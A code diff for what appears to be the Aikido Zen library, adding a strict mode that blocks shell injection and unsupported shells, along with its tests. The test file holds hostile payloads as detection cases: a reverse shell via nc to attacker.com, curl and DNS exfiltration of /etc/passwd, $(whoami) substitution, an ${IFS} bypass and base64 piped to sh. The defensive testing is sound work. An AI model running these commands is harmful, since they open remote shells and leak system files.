Introduce strict mode for shell injection

library/agent/hooks/InterceptorResult.ts

@@ -21,10 +21,16 @@ export type IdorViolationResult = {
   message: string;
 };
 
+export type ShellViolationResult = {
+  shellViolation: true;
+  message: string;
+};
+
 export type InterceptorResult =
   | AttackResult
   | BlockOutboundConnectionResult
   | IdorViolationResult
+  | ShellViolationResult
   | void;
 
 export function isBlockOutboundConnectionResult(
@@ -44,3 +50,9 @@ export function isIdorViolationResult(
 ): result is IdorViolationResult {
   return isPlainObject(result) && "idorViolation" in result;
 }
+
+export function isShellViolationResult(
+  result: InterceptorResult
+): result is ShellViolationResult {
+  return isPlainObject(result) && "shellViolation" in result;
+}

library/agent/hooks/onInspectionInterceptorResult.ts

@@ -10,6 +10,7 @@ import {
   isAttackResult,
   isBlockOutboundConnectionResult,
   isIdorViolationResult,
+  isShellViolationResult,
 } from "./InterceptorResult";
 import type { PartialWrapPackageInfo } from "./WrapPackageInfo";
 import { cleanError } from "../../helpers/cleanError";
@@ -48,6 +49,10 @@ export function onInspectionInterceptorResult(
     throw cleanError(new Error(result.message));
   }
 
+  if (isShellViolationResult(result) && !isBypassedIP) {
+    throw cleanError(new Error(result.message));
+  }
+
   if (isBlockOutboundConnectionResult(result) && !isBypassedIP) {
     throw cleanError(
       new Error(

library/helpers/isShellInjectionStrictMode.ts

@@ -0,0 +1,10 @@
+import { envToBool } from "./envToBool";
+
+/**
+ * Check if the shell injection strict mode is enabled via environment variable.
+ * When enabled, Zen uses the WASM-based shell injection detection and rejects non-/bin/sh shells.
+ * - AIKIDO_SHELL_INJECTION_STRICT_MODE=true or AIKIDO_SHELL_INJECTION_STRICT_MODE=1
+ */
+export function isShellInjectionStrictMode(): boolean {
+  return envToBool(process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE);
+}

library/sinks/ChildProcess.strict.test.ts

@@ -0,0 +1,314 @@
+import * as t from "tap";
+import { Context, runWithContext } from "../agent/Context";
+import { ChildProcess } from "./ChildProcess";
+import { createTestAgent } from "../helpers/createTestAgent";
+
+const unsafeContext: Context = {
+  remoteAddress: "::1",
+  method: "POST",
+  url: "http://localhost:4000",
+  query: {},
+  headers: {},
+  body: {
+    file: {
+      matches: "`echo .`",
+    },
+  },
+  cookies: {},
+  routeParams: {},
+  source: "express",
+  route: "/posts/:id",
+};
+
+function throws(fn: () => void, wanted: string | RegExp) {
+  const error = t.throws(fn);
+  if (error instanceof Error) {
+    t.match(error.message, wanted);
+  }
+}
+
+t.beforeEach(() => {
+  delete process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE;
+});
+
+t.test("strict mode", async (t) => {
+  const agent = createTestAgent({
+    serverless: "lambda",
+  });
+
+  agent.start([new ChildProcess()]);
+
+  const { exec, execSync, spawn, spawnSync, execFile, execFileSync } =
+    require("child_process") as typeof import("child_process");
+
+  // Unsupported shells are blocked even without malicious input
+
+  t.test("rejects /bin/zsh via spawn even without injection", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(unsafeContext, () => {
+      throws(
+        () => spawn("ls", [], { shell: "/bin/zsh" }).unref(),
+        /Zen strict mode: shell "\/bin\/zsh" is not supported/
+      );
+    });
+  });
+
+  t.test("rejects /bin/bash via spawnSync even without injection", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(unsafeContext, () => {
+      throws(
+        () => spawnSync("ls", [], { shell: "/bin/bash" }),
+        /Zen strict mode: shell "\/bin\/bash" is not supported/
+      );
+    });
+  });
+
+  t.test("rejects /bin/zsh via execSync even without injection", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(unsafeContext, () => {
+      throws(
+        () => execSync("ls", { shell: "/bin/zsh" }),
+        /Zen strict mode: shell "\/bin\/zsh" is not supported/
+      );
+    });
+  });
+
+  t.test(
+    "rejects /usr/bin/fish via execFile even without injection",
+    async () => {
+      process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+      runWithContext(unsafeContext, () => {
+        throws(
+          () =>
+            execFile(
+              "ls",
+              [],
+              { shell: "/usr/bin/fish" },
+              (err, stdout, stderr) => {}
+            ).unref(),
+          /Zen strict mode: shell "\/usr\/bin\/fish" is not supported/
+        );
+      });
+    }
+  );
+
+  t.test(
+    "rejects /bin/bash via execFileSync even without injection",
+    async () => {
+      process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+      runWithContext(unsafeContext, () => {
+        throws(
+          () => execFileSync("ls", [], { shell: "/bin/bash" }),
+          /Zen strict mode: shell "\/bin\/bash" is not supported/
+        );
+      });
+    }
+  );
+
+  // Allowed shells pass through
+
+  t.test("allows shell: true", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(unsafeContext, () => {
+      spawn("ls", ["-la"], { shell: true }).unref();
+      spawnSync("ls", ["-la"], { shell: true });
+    });
+  });
+
+  t.test("allows exec without explicit shell option", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(unsafeContext, () => {
+      exec("ls", (err, stdout, stderr) => {}).unref();
+      execSync("ls");
+    });
+  });
+
+  // Without strict mode, unsupported shells are allowed
+
+  t.test("does not reject shells when strict mode is off", async () => {
+    runWithContext(unsafeContext, () => {
+      spawn("ls", ["-la"], { shell: "/bin/bash" }).unref();
+      spawnSync("ls", ["-la"], { shell: "/bin/zsh" });
+    });
+  });
+
+  // CVE-style injection detection via WASM tokenizer
+
+  t.test("detects nslookup semicolon cat /etc/passwd", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      { ...unsafeContext, body: { host: "google.com;cat /etc/passwd" } },
+      () => {
+        throws(
+          () =>
+            spawn("nslookup google.com;cat /etc/passwd", [], {
+              shell: true,
+            }).unref(),
+          "Zen has blocked a shell injection: child_process.spawn(...) originating from body.host"
+        );
+      }
+    );
+  });
+
+  t.test("detects command substitution $(whoami)", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext({ ...unsafeContext, body: { host: "$(whoami)" } }, () => {
+      throws(
+        () => execSync("nslookup $(whoami)"),
+        "Zen has blocked a shell injection: child_process.execSync(...) originating from body.host"
+      );
+    });
+  });
+
+  t.test("detects pipe to reverse shell", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      {
+        ...unsafeContext,
+        body: { host: "google.com|nc attacker.com 4444 -e /bin/sh" },
+      },
+      () => {
+        throws(
+          () =>
+            spawn(
+              "nslookup google.com|nc attacker.com 4444 -e /bin/sh",
+              [],
+              { shell: true }
+            ).unref(),
+          "Zen has blocked a shell injection: child_process.spawn(...) originating from body.host"
+        );
+      }
+    );
+  });
+
+  t.test("detects $IFS space bypass", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      { ...unsafeContext, body: { path: "${IFS}/etc/passwd" } },
+      () => {
+        throws(
+          () => execSync("cat${IFS}/etc/passwd"),
+          "Zen has blocked a shell injection: child_process.execSync(...) originating from body.path"
+        );
+      }
+    );
+  });
+
+  t.test("detects base64 decode pipe to sh", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      {
+        ...unsafeContext,
+        body: { payload: "Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh" },
+      },
+      () => {
+        throws(
+          () => execSync("echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh"),
+          "Zen has blocked a shell injection: child_process.execSync(...) originating from body.payload"
+        );
+      }
+    );
+  });
+
+  t.test("detects DNS exfiltration via subdomain", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      {
+        ...unsafeContext,
+        body: {
+          host: "$(cat /etc/passwd | base64 | head -c 60).attacker.com",
+        },
+      },
+      () => {
+        throws(
+          () =>
+            execSync(
+              "nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com"
+            ),
+          "Zen has blocked a shell injection: child_process.execSync(...) originating from body.host"
+        );
+      }
+    );
+  });
+
+  t.test("detects curl data exfiltration", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      {
+        ...unsafeContext,
+        body: { url: "http://attacker.com/exfil -d @/etc/passwd" },
+      },
+      () => {
+        throws(
+          () => execSync("curl http://attacker.com/exfil -d @/etc/passwd"),
+          "Zen has blocked a shell injection: child_process.execSync(...) originating from body.url"
+        );
+      }
+    );
+  });
+
+  // Safe patterns should not trigger
+
+  t.test("safe: single-quoted user input", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      { ...unsafeContext, body: { host: "example.com" } },
+      () => {
+        execSync("nslookup 'example.com'");
+      }
+    );
+  });
+
+  t.test("safe: plain hostname", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      { ...unsafeContext, body: { host: "example.com" } },
+      () => {
+        execSync("nslookup example.com");
+      }
+    );
+  });
+
+  t.test("safe: plain IP address", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      { ...unsafeContext, body: { ip: "192.168.1.1" } },
+      () => {
+        execSync("ping -c 4 192.168.1.1");
+      }
+    );
+  });
+
+  // Failed to tokenize — blocked in strict mode
+
+  t.test("blocks command with unclosed quote (failed to tokenize)", async () => {
+    process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true";
+
+    runWithContext(
+      { ...unsafeContext, body: { input: "unclosed" } },
+      () => {
+        throws(
+          () => execSync("echo 'unclosed"),
+          "Zen has blocked a shell injection: child_process.execSync(...) originating from body.input"
+        );
+      }
+    );
+  });
+});